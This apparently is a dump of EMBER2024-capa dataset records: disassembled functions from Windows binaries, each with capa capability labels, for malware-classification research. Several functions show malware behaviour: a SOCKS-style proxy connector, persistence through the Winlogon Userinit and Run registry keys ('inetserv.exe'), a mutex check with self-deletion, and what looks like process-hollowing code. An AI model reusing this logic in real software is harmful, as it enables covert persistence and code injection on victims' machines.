joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4013a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x11c
cmp dword [ebp + 0xc], 2
push ebx
push esi
push edi
mov esi, eax
jb 0x401558
cmp byte [esi], 5
jne 0x401558
cmp byte [esi + 1], 1
jne 0x401558
xor eax, eax
lea edi, [esp + 0x18]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
movsx eax, byte [esi + 3]
dec eax
je 0x4014a7
dec eax
dec eax
je 0x4013fb
push 8
push 0
push dword [ebp + 8]
call fcn.0040133e
add esp, 0xc
jmp 0x401558
movsx edi, byte [esi + 4]
lea eax, [edi + 7]
cmp dword [ebp + 0xc], eax
jne 0x401558
push 0x100
xor ebx, ebx
lea eax, [esp + 0x2c]
push ebx
push eax
call fcn.00405b00
add esp, 0xc
push edi
lea eax, [esi + 5]
push eax
lea eax, [esp + 0x30]
push eax
call fcn.00405250
add esp, 0xc
lea eax, [esp + 0x14]
push eax
push ebx
lea eax, [esp + 0x30]
push eax
call fcn.00402901
test eax, eax
je 0x40144b
push 4
push ebx
jmp 0x4013eb
mov eax, dword [esp + 0x14]
jmp 0x40145a
cmp dword [eax + 4], 2
je 0x401460
mov eax, dword [eax + 0x1c]
cmp eax, ebx
jne 0x401451
jmp 0x401446
mov ecx, dword [eax + 0x10]
cmp ecx, 0x10
jbe 0x40146b
push 0x10
pop ecx
push ecx
push dword [eax + 0x18]
lea eax, [esp + 0x20]
push eax
call fcn.0040c600
mov ebx, dword [esp + 0x20]
add esp, 0xc
push 2
pop eax
mov word [esp + 0x18], ax
mov eax, dword [0x417418]
test eax, eax
jne 0x40149d
push 2
call fcn.00402795
mov dword [0x417418], eax
push ebx
call eax
mov ax, word [edi + esi + 5]
jmp 0x4014c7
cmp dword [ebp + 0xc], 0xa
je 0x4014b4
push 1
jmp 0x4013e9
push 2
pop eax
mov word [esp + 0x18], ax
mov eax, dword [esi + 4]
mov dword [esp + 0x1c], eax
mov ax, word [esi + 8]
push 6
push 1
push 2
mov word [esp + 0x26], ax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4014f0
push 1
push 0
push dword [ebp + 8]
call fcn.0040133e
add esp, 0xc
jmp 0x401551
push 0x10
lea eax, [esp + 0x1c]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x401561
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
sub eax, 0x2743
je 0x401538
sub eax, 9
je 0x401531
dec eax
je 0x40152a
sub eax, 4
je 0x401523
mov byte [esp + 0x10], 1
jmp 0x40153d
mov byte [esp + 0x10], 4
jmp 0x40153d
mov byte [esp + 0x10], 5
jmp 0x40153d
mov byte [esp + 0x10], 6
jmp 0x40153d
mov byte [esp + 0x10], 3
push dword [esp + 0x10]
push esi
push dword [ebp + 8]
call fcn.0040133e
add esp, 0xc
test esi, esi
je 0x401558
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push esi
push dword [ebp + 8]
call fcn.0040133e
add esp, 0xc
mov eax, esi
jmp 0x40155a

Function at 0x401573
Capabilities:
Create thread

Disassembly:
push ecx
lea eax, [esp]
push eax
xor eax, eax
push eax
push eax
push 0x4015d1
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ecx
ret
Function at 0x4017d1
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
push edi
push 0x80
push 3
push edi
push 3
push 1
push dword [ebp + 8]
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
or ecx, 0xffffffff
cmp ebx, ecx
jne 0x401807
xor eax, eax
jmp 0x4018ae
push 0xffffffffffffffea
pop eax
push 2
push edi
push ecx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x4018a5
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
lea eax, [ebp - 4]
push eax
push 4
lea eax, [ebp - 8]
push eax
push ebx
call esi
cmp dword [ebp - 4], 4
jne 0x4018a5
cmp dword [ebp - 8], 0xbadbabe
jne 0x4018a5
push edi
lea eax, [ebp - 4]
push eax
push 2
push dword [ebp + 0x10]
push ebx
call esi
test eax, eax
je 0x4018a5
push edi
lea eax, [ebp - 4]
push eax
push 4
push dword [ebp + 0xc]
push ebx
call esi
test eax, eax
je 0x4018a5
push edi
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 0xc]
push 2
add eax, 4
push eax
push ebx
call esi
test eax, eax
je 0x4018a5
push edi
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 0xc]
push 2
add eax, 6
push eax
push ebx
call esi
test eax, eax
je 0x4018a5
push edi
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 0xc]
push 8
add eax, 8
push eax
push ebx
call esi
test eax, eax
je 0x4018a5
xor edi, edi
inc edi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401c00
Capabilities:
Get common file path
Persist via winlogon helper dll registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x140c
call fcn.0040de10
push esi
push edi
lea eax, [ebp - 4]
push eax
push 3
xor edi, edi
push edi
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
mov esi, 0xfff
push getsockname
mov dword [ebp - 8], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401d1a
push ebx
push esi
lea eax, [ebp - 0x100c]
push edi
push eax
call fcn.00405b00
add esp, 0xc
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x100c]
push eax
lea eax, [ebp - 0xc]
push eax
push edi
mov ebx, str.Userinit
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401d10
lea eax, [ebp - 0x100c]
push str.inetserv.exe
push eax
call fcn.004051a0
pop ecx
pop ecx
test eax, eax
jne 0x401d10
push 0x400
lea eax, [ebp - 0x140c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x401d10
mov eax, 0x417010
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401ca9
lea edi, [ebp - 0x100c]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x401cb9
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x100c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x401cd8
mov esi, 0x4136d4
lea eax, [ebp - 0x100c]
movsw word es:[edi], word [esi]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401cf0
sub eax, edx
inc eax
push eax
lea eax, [ebp - 0x100c]
push eax
push 1
push 0
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop edi
pop esi
leave
ret

Function at 0x401d1e
Capabilities:
Persist via run registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.0040de10
push esi
lea eax, [ebp - 4]
push eax
push 3
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov esi, 0xfff
push closesocket
mov dword [ebp - 8], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401dea
push esi
push eax
lea eax, [ebp - 0x100c]
push eax
call fcn.00405b00
add esp, 0xc
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x100c]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
mov esi, str.inetserv
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401da4
push dword [ebp - 8]
lea eax, [ebp - 0x100c]
push 0x417010
push eax
call fcn.00405374
add esp, 0xc
test eax, eax
je 0x401de1
xor eax, eax
mov cl, byte [eax + 0x417010]
mov byte [ebp + eax - 0x100c], cl
inc eax
test cl, cl
jne 0x401da6
lea eax, [ebp - 0x100c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401dc1
sub eax, edx
inc eax
push eax
lea eax, [ebp - 0x100c]
push eax
push 1
push 0
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
leave
ret
Function at 0x401e30
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push edi
push 0x44
pop edi
push edi
xor esi, esi
lea eax, [ebp - 0x54]
push esi
push eax
call fcn.00405b00
mov dword [ebp - 0x54], edi
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push 0x10
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401e89
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
xor eax, eax
inc eax
pop edi
pop esi
leave
ret

Function at 0x401f42
Capabilities:
Accept command line arguments
Check mutex on windows
Delete file
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1b4
push ebx
push esi
push edi
xor ebx, ebx
push str.__SYSSERVICE__
push ebx
push ebx
mov dword [esp + 0x18], ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
cmp eax, ebx
je 0x402075
push 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x402075
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
cmp esi, ebx
je 0x401fbb
cmp byte [esi], bl
je 0x401fbb
push str.delete
push esi
call fcn.004051a0
pop ecx
pop ecx
cmp eax, esi
jne 0x401fbb
push 0x1f4
call edi
add esi, 7
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.00401ad4
test eax, eax
je 0x401fe1
mov eax, 0x417010
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401fcc
sub eax, edx
je 0x401fe1
call fcn.00401c00
call fcn.00401d1e
call fcn.00401ded
test eax, eax
jne 0x401ff4
call fcn.00401e8d
jmp 0x402075
lea eax, [esp + 0x30]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.00402940
mov dword [0x417008], eax
xor eax, eax
jmp 0x40202c
inc dword [esp + 0xc]
cmp dword [esp + 0xc], 0x28
jl 0x402021
mov dword [esp + 0xc], ebx
push 0xbb8
call edi
mov eax, dword [esp + 0xc]
call fcn.004010ef
test eax, eax
je 0x402012
call fcn.00401573
push ebx
push ebx
push ebx
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x40203a
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0x2710
call edi
mov edi, dword [0x417008]
mov esi, edi
call fcn.00402bf0
lea edi, [esi + 4]
call fcn.00402bf0
push esi
call fcn.00404be4
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x402080
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push dword [ebp + 8]
mov esi, eax
mov eax, dword [ebp + 0x18]
and dword [esi], 0
mov byte [eax], 0
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ebx, eax
test ebx, ebx
je 0x4020f5
cmp word [ebx + 8], 2
jne 0x4020d5
cmp word [ebx + 0xa], 4
jne 0x4020d5
mov edi, dword [ebx + 0xc]
jmp 0x4020cf
push dword [eax]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.00402279
mov dword [esi], eax
test eax, eax
je 0x4020f0
lea esi, [eax + 0x1c]
add edi, 4
mov eax, dword [edi]
test eax, eax
jne 0x4020b3
push 0x400
push dword [ebx]
push 0x401
push dword [ebp + 0x18]
call fcn.00404dee
add esp, 0x10
xor eax, eax
jmp 0x40211b
push 8
pop eax
jmp 0x40211b
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, eax
mov eax, 0x2af9
sub ecx, eax
je 0x40211b
dec ecx
je 0x402116
dec ecx
je 0x40210f
dec ecx
jmp 0x40211b
mov eax, 0x2afb
jmp 0x40211b
mov eax, 0x2afa
pop edi
pop esi
pop ebx
pop ebp
ret 0x14

Function at 0x402795
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
cmp dword [0x417410], 0
push ebx
push esi
push edi
mov dword [ebp - 0x18], str.getaddrinfo
mov dword [ebp - 0x14], 0x4022e0
mov dword [ebp - 0x10], str.getnameinfo
mov dword [ebp - 0xc], 0x4025a1
mov dword [ebp - 8], str.freeaddrinfo
mov dword [ebp - 4], fcn.0040275c
jne 0x4028ef
push 0x104
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x4028e5
lea eax, [ebp - 0x230]
push eax
mov esi, 0x10c
lea eax, [ebp - 0x128]
push esi
push eax
call fcn.00404c72
push str.ws2_32
lea eax, [ebp - 0x128]
push esi
push eax
call fcn.00405129
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 0x18
lea eax, [ebp - 0x128]
push eax
call ebx
mov edi, eax
test edi, edi
je 0x402852
push str.getaddrinfo
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x40284e
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor edi, edi
test edi, edi
jne 0x4028a7
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x128]
push esi
push eax
call fcn.00404c72
push str.wship6
lea eax, [ebp - 0x128]
push esi
push eax
call fcn.00405129
add esp, 0x18
lea eax, [ebp - 0x128]
push eax
call ebx
mov edi, eax
test edi, edi
je 0x4028e5
push str.getaddrinfo
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x4028a3
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor edi, edi
test edi, edi
je 0x4028e5
xor esi, esi
push dword [ebp + esi*8 - 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp + esi*8 - 0x14], eax
test eax, eax
je 0x4028c4
inc esi
cmp esi, 3
jl 0x4028a9
jmp 0x4028cd
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor edi, edi
test edi, edi
je 0x4028e5
xor eax, eax
mov ecx, dword [ebp + eax - 0x14]
mov dword [eax + 0x416238], ecx
add eax, 8
cmp eax, 0x18
jl 0x4028d3
mov dword [0x417410], 1
movzx eax, word [ebp + 8]
mov eax, dword [eax*8 + 0x416238]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40a6b3
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x415cc8]
jne 0x40a6bd
repz ret
jmp fcn.0040d72e

Function at 0x40d09b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00407801
and dword [ebp - 4], 0
cmp dword [0x416bf0], 0
mov ebx, eax
jne 0x40d14c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40d1fd
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40d1fd
push eax
call fcn.0040778f
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x416bf0], eax
call esi
push eax
call fcn.0040778f
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x416bf4], eax
call esi
push eax
call fcn.0040778f
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x416bf8], eax
call esi
push eax
call fcn.0040778f
pop ecx
mov dword [0x416c00], eax
test eax, eax
je 0x40d14c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040778f
pop ecx
mov dword [0x416bfc], eax
mov eax, dword [0x416bfc]
cmp eax, ebx
je 0x40d1a4
cmp dword [0x416c00], ebx
je 0x40d1a4
push eax
call fcn.0040780a
push dword [0x416c00]
mov esi, eax
call fcn.0040780a
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40d1a4
test edi, edi
je 0x40d1a4
call esi
test eax, eax
je 0x40d19b
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40d19b
test byte [ebp - 0xc], 1
jne 0x40d1a4
or dword [ebp + 0x10], 0x200000
jmp 0x40d1dd
mov eax, dword [0x416bf4]
cmp eax, ebx
je 0x40d1dd
push eax
call fcn.0040780a
pop ecx
test eax, eax
je 0x40d1dd
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40d1dd
mov eax, dword [0x416bf8]
cmp eax, ebx
je 0x40d1dd
push eax
call fcn.0040780a
pop ecx
test eax, eax
je 0x40d1dd
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x416bf0]
call fcn.0040780a
pop ecx
test eax, eax
je 0x40d1fd
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40d1ff
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0xdc49a0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xe08e10
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0xe22014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 1
lea eax, [ebp + 0x20]
cmp dword [ebp + 0x34], 0x10
mov ecx, 0xe230ec
push dword [ebp + 0x30]
cmovae eax, dword [ebp + 0x20]
push eax
call fcn.00dd80c0
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
mov ecx, 0xe22a8c
push eax
call fcn.00dd80c0
mov esi, dword [0xe230fc]
xor ebx, ebx
mov edi, dword [0xe23100]
nop word [eax + eax]
cmp edi, 0x10
mov byte [ebx + 0xe26390], bl
mov eax, ebx
mov ecx, 0xe230ec
cmovae ecx, dword [0xe230ec]
cdq
idiv esi
mov al, byte [edx + ecx]
mov byte [ebx + 0xe264a0], al
inc ebx
cmp ebx, 0x100
jl 0xdc4a20
xor edi, edi
xor esi, esi
mov dl, byte [esi + 0xe26390]
movzx eax, byte [esi + 0xe264a0]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0xdc4a74
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [edi + 0xe26390]
mov byte [esi + 0xe26390], al
inc esi
mov byte [edi + 0xe26390], dl
cmp esi, 0x100
jl 0xdc4a50
mov esi, dword [ebp - 0x10]
mov ecx, esi
call fcn.00dc4690
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0xdc4ac9
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0xdc4abf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0xdc4b1f
push edx
push ecx
call fcn.00ddd663
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0xdc4b0b
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0xdc4b01
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0xdc4b1f
push edx
push ecx
call fcn.00ddd663
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00df6c6a
int3
Function at 0xdc70a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x188
mov eax, dword [0xe22014]
xor eax, esp
mov dword [esp + 0x184], eax
push esi
push edi
push 0x104
lea eax, [esp + 0x84]
mov esi, ecx
push eax
push 0
call 0x48a00b2
nop
mov eax, 0x5a4d
cmp word [esi], ax
jne 0xdc7289
mov edi, dword [esi + 0x3c]
add edi, esi
cmp dword [edi], 0x4550
jne 0xdc7289
push 0x44
lea eax, [esp + 0x3c]
push 0
push eax
call fcn.00df40f0
add esp, 0xc
lea eax, [esp + 0x20]
xorps xmm0, xmm0
movaps xmmword [esp + 0x20], xmm0
push eax
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [esp + 0xa4]
push eax
call 0x48a01dc
nop
test eax, eax
je 0xdc7289
push 4
push 0x1000
push 4
push 0
call 0x4890d61
nop
push eax
mov dword [esp + 0x1c], eax
mov dword [eax], 0x10007
push dword [esp + 0x28]
call 0x4880006
nop
test eax, eax
je 0xdc7289
push 0
push 4
lea eax, [esp + 0x24]
push eax
push 0xe18df8
push dword [esp + 0x30]
call 0x4880305
nop
mov eax, dword [edi + 0x34]
cmp dword [esp + 0x1c], eax
jne 0xdc71ac
push 0xe18dfc
push 0xe18e14
call 0x4890a20
nop
push eax
call 0x488009d
nop
push dword [esp + 0x1c]
push dword [esp + 0x24]
call eax
mov eax, dword [edi + 0x34]
push 0x40
push 0x3000
push dword [edi + 0x50]
push eax
push dword [esp + 0x30]
call 0x488023a
nop
mov dword [esp + 0x14], eax
test eax, eax
je 0xdc7289
push 0
push dword [edi + 0x54]
push esi
push eax
push dword [esp + 0x30]
call 0x48a0000
nop
xor eax, eax
mov dword [esp + 0x10], 0
cmp ax, word [edi + 6]
jae 0xdc7243
mov dword [esp + 0xc], eax
call fcn.00dc6ef0
push eax
call 0x489094f
nop
mov ecx, dword [esp + 0xc]
add ecx, esi
add ecx, dword [esi + 0x3c]
push 0
push dword [ecx + 0x108]
mov eax, dword [ecx + 0x10c]
add eax, esi
push eax
mov eax, dword [ecx + 0x104]
add eax, dword [esp + 0x20]
push eax
push dword [esp + 0x30]
call 0x48a0000
nop
mov ecx, dword [esp + 0x10]
movzx eax, word [edi + 6]
inc ecx
add dword [esp + 0xc], 0x28
mov dword [esp + 0x10], ecx
cmp ecx, eax
jl 0xdc71f2
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [esp + 0x24]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
push dword [esp + 0x30]
call 0x48a0000
nop
mov ecx, dword [esp + 0x18]
mov eax, dword [edi + 0x28]
add eax, dword [esp + 0x14]
push ecx
mov dword [ecx + 0xb0], eax
push dword [esp + 0x28]
call 0x48803b2
nop
push dword [esp + 0x24]
call 0x4890b22
nop
push 0x8000
push 0
push esi
call 0x4890e9e
nop
mov ecx, dword [esp + 0x18c]
mov al, 1
pop edi
pop esi
xor ecx, esp
call fcn.00ddcff1
mov esp, ebp
pop ebp
ret
Function at 0xdcaf20
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xe09726
mov eax, dword fs:[0]
push eax
sub esp, 0x438
mov eax, dword [0xe22014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x414], ebx
push 0
mov dword [ebp - 0x414], ebx
call fcn.00df8b63
push eax
call fcn.00df6660
add esp, 8
call fcn.00df663f
cdq
mov ecx, 0x3313
idiv ecx
mov edi, edx
call fcn.00df663f
mov ecx, eax
mov eax, 0x55555556
imul ecx
mov esi, edx
shr esi, 0x1f
add esi, edx
imul esi, edi
call fcn.00df663f
imul edx, eax, 0x4d
lea ecx, [ebp - 0x444]
add edx, 0x64
add edx, esi
call fcn.00dc45b0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x444]
cmp dword [ebp - 0x430], 0x10
lea edx, [ebp - 0x410]
cmovae eax, dword [ebp - 0x444]
sub edx, eax
nop
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0xdcafd0
lea esi, [ebp - 0x410]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0xdcafe6
push 0x40
push 0
push 0xe28560
sub esi, ecx
call fcn.00df40f0
add esp, 0xc
mov dword [0xe28554], 0
mov edx, esi
mov dword [0xe28550], 0
lea ecx, [ebp - 0x410]
mov dword [0xe28540], 0x67452301
mov dword [0xe28544], 0xefcdab89
mov dword [0xe28548], 0x98badcfe
mov dword [0xe2854c], 0x10325476
call fcn.00dc5530
call fcn.00dc55f0
mov ecx, 0xe265a0
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x418], 0xf
mov byte [ebp - 0x42c], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0xdcb071
sub ecx, edx
push ecx
push 0xe265a0
lea ecx, [ebp - 0x42c]
call fcn.00dd80c0
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x430]
cmp edx, 0x10
jb 0xdcb0cc
mov ecx, dword [ebp - 0x444]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0xdcb0c2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0xdcb18c
push edx
push ecx
call fcn.00ddd663
add esp, 8
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x430], 0xf
mov byte [ebp - 0x444], 0
mov dword [ebp - 4], 1
mov eax, dword [ebp - 0x41c]
mov dword [ebx + 0x10], 0
mov dword [ebx + 0x14], 0xf
mov byte [ebx], 0
cmp eax, 1
jb 0xdcb187
dec eax
mov ecx, 0xa
cmp eax, ecx
cmovb ecx, eax
cmp dword [ebp - 0x418], 0x10
lea eax, [ebp - 0x42c]
cmovae eax, dword [ebp - 0x42c]
push ecx
inc eax
mov ecx, ebx
push eax
call fcn.00dd80c0
mov edx, dword [ebp - 0x418]
cmp edx, 0x10
jb 0xdcb169
mov ecx, dword [ebp - 0x42c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0xdcb15f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0xdcb18c
push edx
push ecx
call fcn.00ddd663
add esp, 8
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00ddcff1
mov esp, ebp
pop ebp
ret
call fcn.00dd8200
call fcn.00df6c6a
int3